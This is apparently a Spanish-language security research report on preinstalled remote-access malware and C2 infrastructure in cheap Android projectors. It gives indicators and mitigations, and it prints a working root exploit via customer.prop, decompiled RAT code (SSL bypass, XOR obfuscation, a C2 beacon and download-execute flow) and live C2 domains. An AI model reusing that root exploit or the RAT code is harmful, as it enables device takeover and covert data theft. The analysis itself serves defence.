
Desglose de un c2-network de beamers chinos - SilentSDK-Analysis
Informe de Análisis Técnico — Investigación de Seguridad
Dispositivos Afectados: Múltiples proyectores Android de marcas como Nonete (p. ej., modelo HY260Pro) (probablemente también varios proyectores de Magcubic, Hotack, Huyukang y muchos más, ya que estas empresas distribuyen modelos similares y hay indicios que lo respaldan)
Plataforma de Chipset: Allwinner H713 / sun50iw12p1 — potencialmente afecta a todos los dispositivos en esta plataforma
Período de Análisis: 11–17 de abril de 2026
Clasificación: Infraestructura de Comando y Control preinstalada con payload de Troyano de Acceso Remoto
api.pixelpioneerss.com), extrae IDs de dispositivo sensibles y puede descargar y ejecutar código malicioso adicional arbitrario con privilegios de root en cualquier momento (chmod 777). Además, los dispositivos presentan puertas traseras de root abiertas.*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) deben bloquearse a nivel de red. Los usuarios afectados solo pueden deshabilitar las aplicaciones maliciosas manualmente mediante ADB, ya que están profundamente incrustadas en el sistema.La infraestructura de malware documentada en este informe está preinstalada en proyectores Android que se venden actualmente en grandes cantidades a consumidores finales en Amazon, eBay y AliExpress. Los dispositivos afectados abarcan posiblemente múltiples nombres de marca (Hotack, Huyukang, Magcubic, Nonete, entre otros). Se ha confirmado de forma independiente una infraestructura C2 idéntica en otros dispositivos del mismo fabricante (ver Sección 13). El patrón coincide con los casos BADBOX.
Dispositivo Comprado: Enlace de Amazon - Nonete Mini Beamer 4K 1080P
Nota sobre el alcance: El chipset Allwinner H713 está incorporado en numerosos proyectores Android baratos vendidos bajo nombres de marca cambiantes en el mercado europeo. La misma base de firmware (h713_tuna_p3) y el mismo operador C2 (Shenzhen Aodin Technology) sugieren fuertemente que todos los dispositivos de este OEM contienen la misma infraestructura.
El acceso root se logró mediante una combinación de tres vulnerabilidades:
/oem escribible por cualquier usuario — La partición está montada como FAT con fmask=0000.customer.prop cargado al arrancar — Sobrescribe propiedades del sistema.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**Impacto:** Cualquier usuario con acceso físico o un atacante en la misma red (a través de ADB, puerto 5555 abierto, sin autenticación) obtiene acceso completo como root.
---
## 4. Respuesta del Servidor C2 — Evidencia Principal
### Solicitud HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
La respuesta comprimida con gzip contiene una lista JSON con siete aplicaciones. Seis de ellas son aplicaciones de streaming normales (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). La séptima es SilentTools:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**Interpretación de los flags:**
- `isShow: false` — La aplicación no aparece en la interfaz de la tienda.
- `isForce: true` — Presumiblemente fuerza la acción (instalación o actualización).
- `isSilentUninstall: true` — Puede desinstalarse sin interacción del usuario.
- `launchType: 1` — Inicia automáticamente el servicio en segundo plano.
- `launchParam: MyService` — Referencia al servicio persistente.
- `zone: "Global"` — Apunta a todos los dispositivos a nivel mundial.
- `reverseLen` — Longitud en bytes necesaria para restaurar el `.apk` de SilentSDK.
### Ruta de Descarga Cifrada
El campo `path` está cifrado con AES-CBC:
- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> El ChannelID del dispositivo.
- **Resultado descifrado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
Nota: Es probable que la extensión de archivo .bpp se utilice para eludir los cortafuegos, renombrándose el archivo a .apk durante la ejecución. El campo isSilentInstall es false en esta captura. La semántica exacta de isForce: true no pudo reconstruirse sin ambigüedad a partir del código descompilado. No se puede descartar que el valor se establezca dinámicamente a true desde el servidor.
El dispositivo contiene cuatro aplicaciones de sistema que interactúan, todas firmadas con la clave de prueba de AOSP y ejecutándose con UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — Análisis del Dropper
StoreOS parece ser una tienda de aplicaciones que se instala automáticamente; sin embargo, cumple la función de un dropper.
**Package:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### Permisos
| Permiso | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalación silenciosa sin diálogo de usuario |
| `CLEAR_APP_USER_DATA` | Eliminación de datos arbitrarios de la aplicación |
| `MASTER_CLEAR` | Activación de restablecimiento de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificación de ajustes de seguridad |
| `DEVICE_POWER` | Gestión de energía del dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acceso completo al almacenamiento externo |
### Cadena de Instalación (desde código descompilado)
1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST a `store-api.aodintech.com/sign/app/list`.
3. El servidor entrega `AppsData[]` que contiene los campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` obtiene APKs como archivos `.bpp` desde la CDN.
5. **Protección de Inversión de Bytes:** Los primeros `reverseLen` bytes se invierten antes de escribir en el disco (Medida Anti-Análisis).
6. Verificación MD5 del archivo descargado.
7. Instalación mediante `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` lanza la aplicación instalada según `launchParam`.
### Mecanismo de Inversión de Bytes — Prueba Técnica
**Clase:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
Este método invierte los primeros `reverseLen` bytes de cada APK descargado. Como resultado, los archivos `.bpp` interceptados no pueden ser reconocidos ni extraídos como APKs válidos sin conocer el valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
Invocación en la ruta de descarga (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
Al revertir este mecanismo, el APK de SilentSDK fue descifrado y analizado con éxito.
### Geosegmentación
StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalización IP. La clase `SpecialApps` contiene campos para `continent` y `countryCode`, lo que permite la distribución de cargas útiles específicas por región.
---
## 7. EventUploadService — Telemetría
**Paquete:** `com.htc.eventuploadservice`
**Destino:** `http://event-api.aodintech.com/report`
**Intervalo:** Cada 5 minutos
| Campo | Valor de ejemplo | Impacto en la privacidad |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Dirección MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de serie (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de firmware |
| `version` | `Projector.20250422.152235` | Versión de firmware |
| `model` | `NT10` | Modelo de dispositivo |
| `language` | `en_US` | Configuración de idioma |
La transmisión ocurre sin cifrar a través de HTTP y sin consentimiento del usuario. La dirección MAC y el número de serie permiten la identificación y el seguimiento precisos de dispositivos individuales.
---
## 8. ExpandSDK — Inyección de anuncios
**Paquete:** `com.htc.expandsdk`
**Servidores C2:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDK utiliza el SDK TCL VastAd para anuncios de video VAST y es capaz de mostrar diálogos de superposición del sistema (`SYSTEM_ALERT_WINDOW`) en cualquier posición de la pantalla. La configuración incluye campos de posición (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) y el identificador de socio `htk` (Hotack).
ExpandSDK opera independientemente de SilentSDK como un canal de monetización separado.
---
## 9. SilentSDK — Análisis de RAT
**Paquete:** `com.hotack.silentsdk`
**SHA-256 (descifrado):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (descifrado):** `5df097591d6942bae4eff33a37c4e28f`
### Análisis del manifiesto
| Propiedad | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilegios del sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfico HTTP permitido |
| Icono del lanzador | No visible para el usuario | Oculto de la interfaz de usuario |
| `BootReceiver` | Prioridad 999 | Se inicia antes que casi todas las demás aplicaciones |
| `MyService` | exportado, en primer plano | Servicio persistente en segundo plano |
| `BootStartActivity` | `com.htc.bootstart` | Disparador de arranque adicional |
### Empaquetado y descifrado DEX
El DEX original está empaquetado: El encabezado declara 2,318,316 bytes, pero el archivo comprimido solo contiene 65,536 bytes con una suma de verificación Adler32 inválida. Después de romper la protección de inversión de bytes de StoreOS, el DEX se vuelve completamente legible — el tamaño del archivo y el tamaño declarado coinciden, y se pueden extraer 16,241 cadenas.
### Ofuscación XOR — Prueba técnica
Todas las cadenas relevantes para la seguridad están ofuscadas mediante un cifrado XOR rotativo dentro del método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
Esto representa solo una parte de las cadenas descifradas.
El flujo de recolección de MAC revela una evasión deliberada de permisos: cuando WifiInfo.getMacAddress() devuelve la MAC falsa protegida por privacidad de Android (02:00:00:00:00:00), el malware recurre a leer la MAC de hardware real directamente desde /sys/class/net/wlan0/address mediante shell root — un comportamiento nunca visto en aplicaciones legítimas.
El siguiente análisis traza la cadena de ejecución completa desde el inicio de la aplicación hasta el control persistente del C2. Los nombres de clase hacen referencia a identificadores desofuscados por JADX.
MyApplication.java — Punto de Entrada
La anulación de Application.onCreate() es el primer código en ejecutarse. Inmediatamente llama a C0561f.m1737c con el ApplicationContext, iniciando toda la maquinaria del malware antes de que se renderice cualquier interfaz de usuario.
AbstractC0577v.java — Contexto
Si la aplicación anfitriona no proporciona voluntariamente su contexto, esta clase utiliza reflexión profunda del sistema (android.app.ActivityThread) para robar de forma autónoma el ApplicationContext global. Esto otorga al SDK acceso completo a archivos, servicios del sistema y gestión de paquetes sin depender de la aplicación anfitriona.
C0578w.java — Observador del Ciclo de Vida de Actividades
Se registra como ActivityLifecycleCallbacks para monitorear cada interacción del usuario: qué pantalla está abierta, si la aplicación está en primer plano o en segundo plano. Críticamente, vuelve a habilitar las animaciones del sistema desactivadas y manipula la configuración de SoftInputMode — requisitos previos para renderizar superposiciones invisibles (por ejemplo, para fraude de clics) sin alertar al usuario a través de ventanas emergentes de teclado inesperadas.
AbstractC0562g.java — Generación de ID de Bot
Genera una huella digital agresiva del dispositivo concatenando: UUID aleatorio + Build.BRAND + Build.MODEL + dirección MAC física (recolectada mediante cat /sys/class/net/wlan0/address, evadiendo las protecciones de privacidad de Android) + android_id + marca de tiempo. La cadena resultante se hashea con MD5 y se almacena como adid — el ID de Bot permanente utilizado para registrar el dispositivo con el servidor C2.
C0565j.java — Bypass de Certificado SSL
Un X509TrustManager manipulado con métodos de validación completamente vacíos (checkClientTrusted, checkServerTrusted). Esto asegura que el malware acepte ciegamente cualquier certificado SSL, evitando que los mecanismos de seguridad de Android bloqueen la comunicación C2 — incluso si el servidor C2 está comprometido o usa un certificado inválido.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
Si ocurre un error SSL (`SSLException`), `f2664e` se establece en `false` y todas las solicitudes posteriores utilizan HTTP en lugar de HTTPS.
#### Fase 3: Adquisición del Payload
**`C0566k.java` — Respaldo sin conexión (Payload embebido)**
Antes de contactar con la red, esta clase verifica si ya hay un payload empaquetado dentro del APK en `assets/m17gawxG.java`. Si se encuentra, lee el archivo byte a byte y lo descifra usando una clave XOR hardcodeada (`m17gawxG`). El resultado se escribe como un archivo ejecutable `.temp`. Esto asegura que el RAT pueda activarse incluso en dispositivos aislados (air-gapped) o cuando el servidor C2 no esté disponible.
**`RunnableC0569n.java` — Descargador en vivo desde C2**
Si el respaldo sin conexión falla, esta clase ensambla un beacon JSON que contiene el Bot-ID, nombre del paquete y versión de Android, luego contacta al endpoint C2 `api.pixelpioneerss.com`:
**Paso 1 — Generación de URL con ruta aleatoria:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
Paso 2 — Carga útil de Beacon:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**Paso 3 — Cifrado AES y Transmisión:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
Paso 4 — Procesamiento de la respuesta del servidor:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
El descargador (`AbstractC0000a.m37h`) obtiene el payload y luego utiliza un shell root para otorgarle permisos completos de ejecución mediante `chmod 777`.
Todas las solicitudes C2 llevan el encabezado HTTP personalizado `a: 1003` — una firma a nivel de red de esta familia de malware.
#### Fase 4: Ejecución y Control
**`AbstractC0568m.java` — Área de Preparación**
Crea un directorio oculto llamado **`TMRXwWJu3G5`** en el sistema de archivos del dispositivo donde se preparan todos los payloads descargados. Esta clase también contiene métodos (`m1754e`) que interceptan eventos físicos de teclas (`KeyEvent`), impidiendo que el usuario presione el botón "Atrás" mientras una superposición maliciosa está activa.
**`C0561f.java` — El Orquestador**
Une toda la cadena. Llama al código fuertemente ofuscado en `C0566k.m1746b`, que utiliza reflexión para construir la cadena `"dalvik.system.DexClassLoader"` e inicializarla. Luego, se fuerza al ClassLoader a cargar y ejecutar la clase final del payload:```
com.me.cash5.OoO0OOo
A partir de este punto, la carga útil cargada dinámicamente tiene control total dentro del contexto del proceso de la aplicación (UID 1000 / System).
AbstractC0563h.java & C0558c.java — Telemetry Collection
Cada carga de módulo, evento de error (p. ej., fallo de descarga) o visualización de superposición desencadena un informe de estado (codificado como "e6", "e4" para errores SSL, etc.). C0558c ejecuta un hilo de recolección dedicado ("burying_loop_s") que agrupa estos eventos. Cada 5 segundos, ensambla un paquete JSON de telemetría completo con campos como "d" (modelo del dispositivo), "e" (versión del SDK), "c" (ID de Android).
RunnableC0564i.java — Data Exfiltrator
Toma el JSON de telemetría, lo comprime con GZIPOutputStream (para dificultar el análisis de tráfico), luego lo cifra con AES personalizado — añadiendo las claves dinámicas al texto cifrado. El paquete GZIP-AES resultante se transmite a través del TrustManager que omite SSL a un servidor de seguimiento dedicado:```
bur.thedynamicleap.com
Este es un **dominio C2 separado** del primario `api.pixelpioneerss.com`, utilizado exclusivamente para la exfiltración de telemetría.
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat y Autocuración**
El mecanismo de persistencia. `AbstractC0572q` mantiene un temporizador en el hilo principal. Si alguna parte de la cadena de infección falla (por ejemplo, falta de internet durante la descarga), dispara `sendEmptyMessageDelayed(..., 60000L)`. Después de exactamente 60 segundos, `RunnableC0560e` (como trabajador en segundo plano) reinicia toda la maquinaria de infección desde el principio. Este bucle se repite indefinidamente hasta que la infección tiene éxito.
### Persistencia y Carga Dinámica — Resumen
El método `m1762a()` en `RunnableC0569n` implementa el ciclo completo de descarga del payload:
1. Descargar archivo DEX desde C2.
2. Verificar hash MD5.
3. Guardar número de versión en SharedPreferences.
4. Cargar y ejecutar DEX mediante `DexClassLoader` o `Runtime.exec()`.
5. Ante errores: Incrementar contador de reintentos en SharedPreferences, pausa después de 13 intentos fallidos — luego el heartbeat de 60 segundos reinicia el ciclo.
## 9.1. El Payload del Malware
Después de enviar esta solicitud al Servidor C2:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
Respuesta:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. El Malware
Tras la recuperación exitosa y el análisis adicional del payload, determiné —después de sortear capas significativas de cifrado y ofuscación personalizados— que el malware utiliza una arquitectura altamente modular. Opera como un framework sofisticado capaz de descargar, actualizar, reiniciar y eliminar activamente plugins para destruir evidencia forense. Estos payloads se ejecutan con privilegios de root. Además, el código revela mecanismos diseñados para superponer WebViews completas en la pantalla, lo que indica fuertemente capacidades avanzadas de phishing. El malware también demuestra tácticas avanzadas de segmentación y evasión: implementa geofencing estricto para atacar regiones específicas, perfila la arquitectura de la CPU (distinguiendo entre `arm64`, `armeabi`, `x86` y `mips`), y elude activamente la validación de certificados SSL para asegurar sus comunicaciones C2. Por ahora, mantengo este resumen intencionalmente breve, ya que la fuerte ofuscación requiere un proceso de ingeniería inversa prolongado y en curso.
## 11. Backdoors del Sistema
### 11.1 Binario `su` Oculto: `/system/bin/qw`
Un binario `su` renombrado como `qw` (Koushikdutta Superuser, 388 KB, enlazado estáticamente, ARM 32 bits):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)El certificado de firma de plataforma es la clave de prueba incluida públicamente en el código fuente de AOSP (Cert Index 0 en packages.xml). Cualquier aplicación firmada con esta clave recibe automáticamente privilegios de sistema en el dispositivo. La clave es de libre acceso para cualquier desarrollador de Android.
dbgserver/vendor/bin/dbgserver — Servidor de E/S de registros de hardware, que se comunica a través del dispositivo /dev/hidtvreg (crwxrwxrwx) con permisos de escritura mundial.
Toda la comunicación C2 se realiza a través de HTTP sin cifrar. Esto permite ataques MITM (Man-In-The-Middle): un atacante en la misma red puede manipular la lista de aplicaciones e inyectar APKs arbitrarias, que luego se instalarán con privilegios de sistema.
El dispositivo se hace pasar por el ADT-3 de Google (Android TV Developer Kit):
| Propiedad |
|---|
Esta suplantación probablemente tiene como objetivo eludir las comprobaciones de certificación de Google Play.
En enero de 2026, el investigador de seguridad Zane St. John publicó un análisis de dispositivos idénticos que albergaban exactamente la misma infraestructura de malware. Las conclusiones coinciden en todos los puntos cruciales: endpoints C2, ofuscación XOR, protocolo AES-128-CBC, ID de Campaña f101, bypass SSL y chmod 777. El dispositivo analizado por Zane St. John parece haber estado ya infectado por SilentSDK, lo que no era el caso en mi dispositivo de fábrica. Los endpoints en el análisis de Zane St. John también parecen ligeramente alterados, lo que indica la posibilidad de rotación de endpoints. Además, en su caso, SilentSDK parece estar preinstalado, mientras que en mi dispositivo se descarga e instala una vez que aodintech envía la señal de activación.
Fuente: https://zanestjohn.com/blog/reing-with-claude-code
| Fuente | MD5 |
|---|
Los hashes de la distribución del servidor C2, nuestra propia desencriptación y el análisis externo son idénticos, lo que confirma que es el mismo malware. Esto confirma la amplia difusión del malware.
StoreOS-APK: BitDefender detecta Android.Riskware.TestKey.rB; ningún otro motor antivirus activa una alerta.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### Firmas de Red```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### Sistema de archivos```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. Mapeo MITRE ATT&CK
| Técnica | ID | Evidencia |
|:---|:---|:---|
| Compromiso de la Cadena de Suministro | T1195.002 | Malware preinstalado de fábrica |
| Ejecución Automática al Inicio o Inicio de Sesión | T1547 | BootReceiver Prioridad 999 |
| Archivos o Información Ofuscados | T1027 | Cadenas XOR, Empaquetado DEX, activo cifrado con XOR incrustado |
| Protocolo de Capa de Aplicación | T1071 | C2 HTTP/HTTPS |
| Intercambio Dinámico de Datos / Inyección de Carga Útil | T1055 | DexClassLoader, chmod 777 |
| Descubrimiento de Información del Sistema | T1082 | Huella digital del dispositivo, generación de ID de Bot |
| Datos del Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltración a través del Canal C2 | T1041 | Telemetría periódica a `bur.thedynamicleap.com` |
| Suplantación de Identidad | T1036 | Extensión de archivo .bpp, Suplantación ADT-3 |
| Rootkit | T1014 | Binario su oculto |
| Captura de Entrada | T1056 | Intercepción de KeyEvent para suprimir el botón Atrás |
| Eliminación de Indicadores / Autoborrado | T1070 | Capacidad `isSilentUninstall: true` |
| Carga de Código Reflejada | T1620 | Instanciación reflejada de DexClassLoader |
| Superposición de Ventanas del Sistema | T1624 | Manipulación de SoftInputMode para superposiciones invisibles |
---
## 17. Mitigaciones Inmediatas
### Para Usuarios Finales Afectados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. Fuentes
1. Zane St. John: "Ingeniería inversa de malware Android preinstalado con Claude Code", enero de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI advierte sobre malware preinstalado en dispositivos IoT" (BADBOX), octubre de 2023.
3. Análisis de VirusTotal del APK StoreOS.
---
**Período de análisis:** 11–17 de abril de 2026
**Descargo de responsabilidad**
Solo para fines educativos y de investigación. Este informe se proporciona "tal cual" con fines informativos sobre amenazas de ciberseguridad. El análisis se basa en una instantánea del ecosistema actual de malware; dado que la ingeniería inversa es un proceso continuo, los hallazgos pueden estar sujetos a cambios a medida que se disponga de nuevos datos.
Este informe se ha recopilado de buena fe y según mi leal saber y entender, basándose en el análisis de datos binarios y código fuente descompilado. Debido al alto nivel de ofuscación y la naturaleza cambiante de la amenaza, estos hallazgos representan el estado actual de la investigación. Si bien la evidencia respalda firmemente las conclusiones, estas están sujetas a revisión a medida que se descubran nuevas pruebas técnicas.
| Propiedad | Valor |
|---|
| Nombre de Marca | Nonete HY260Pro (modelo vendido por múltiples empresas) |
| Nombre del Modelo Interno | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32 bits) |
| Sistema Operativo | SpectraOS (Android 11, Kernel 5.4.99) |
| Build Fingerprint Real | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Build Fingerprint Suplantado | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permisivo (sin aplicación de políticas) |
| Clave de Firma de Plataforma | Clave de Prueba Pública de AOSP |
| Certificado OEM | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Canal de Firmware | HY260Pro_SpectraOS_TPYB |
| Paso | Acción | Resultado |
|---|
| 1 | Captura de tráfico de red con Wireshark | Tráfico HTTP a store-api.aodintech.com |
| 2 | Decodificación de la respuesta C2 comprimida con gzip | 7 aplicaciones, incluyendo "SilentTools" oculta |
| 3 | Descifrado AES-CBC de la ruta de descarga | Clave [REDACTED], URL al archivo .bpp |
| 4 | Explotación de root mediante /oem/customer.prop | uid=0(root) tras inyección de propiedades |
| 5 | Volcado forense de /data, /oem, /system | APKs, bases de datos, configuraciones |
| 6 | Análisis estático de StoreOS DEX | pm install -r -d, protección por inversión de bytes |
| 7 | Ingeniería inversa del mecanismo reverseLen | Comprensión de la protección anti-análisis |
| 8 | Rotura de la protección por inversión de bytes | DEX de SilentSDK descifrado y analizable |
| 9 | Descifrado XOR de cadenas de SilentSDK | Dominio C2 api.pixelpioneerss.com confirmado |
| 10 | Verificación de hash en tres fuentes | MD5/SHA-256 coinciden perfectamente |
| 11 | Ingeniería inversa del proceso de descarga del malware | Servidores aún en línea |
| 12 | Ingeniería inversa del malware | Framework RAT basado en plugins |
| Aplicación | Paquete | isShow | isForce | Instalación Silenciosa | Desinstalación Silenciosa | Tipo de inicio |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| Llamada Ofuscada | Resultado | Función |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | Dominio C2 |
m36g({7,-68}, {116,-44,...}) | sh | Binario de shell para Runtime.exec() |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | Comando de shell |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | Sufijo de archivo temporal para descargas |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | Protocolo principal |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | Respaldo en caso de error SSL |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | Protocolo TLS |
m36g({-15}, {-112,...}) | a | Nombre de cabecera personalizada → valor 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | Respaldo de shell: leer nombre de interfaz |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | Respaldo de shell: leer MAC (prefijo) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | Respaldo de shell: leer MAC (sufijo) |
